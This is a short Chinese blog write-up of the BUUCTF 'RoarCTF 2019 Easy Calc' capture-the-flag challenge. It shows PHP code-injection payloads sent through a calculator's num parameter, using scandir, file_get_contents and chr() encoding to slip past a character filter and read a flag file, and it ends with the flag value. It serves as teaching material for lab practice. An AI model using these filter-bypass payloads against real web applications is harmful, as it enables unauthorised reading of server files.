BUUCTF [RoarCTF 2019]Easy Calc

最新推荐文章于 2023-12-15 12:02:29 发布

ter_ret

最新推荐文章于 2023-12-15 12:02:29 发布

阅读量800

点赞数

分类专栏： buuctf 文章标签： buuctf

本文链接：https://blog.csdn.net/qq_53030229/article/details/121234630

版权

7 篇文章 0 订阅

订阅专栏

一、 [RoarCTF 2019]Easy Calc

1、当拿到题目时，本人以为是使用Linux命令获取flag，但是尝试之后不行
在这里插入图片描述 2、检查源码，发现了calc.php，打开

在这里插入图片描述
3、打开calc.php，发现题目过滤了好多东西

1、扫描目录下文件

scandir() 函数返回指定目录中的文件和目录的数组。
? num=print_r(scandir('/'))
# 这里由于斜杠被过滤，所以使用chr()绕过
? num=print_r(scandir(chr(47)))

在这里插入图片描述
2、读取flag

file_get_contents() 函数把整个文件读入一个字符串中。

? num=print_r(file_get_contents('/f1agg'))
由于有些东西被过滤，所以使用字符串来绕过
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

flag{6578237a-51cc-49b9-86aa-1345497dcef1}

文章借鉴：https://blog.csdn.net/weixin_45674567/article/details/106498395,如有冒犯或错误，请及时告知，Thanks♪(･ω･)ﾉ！

关注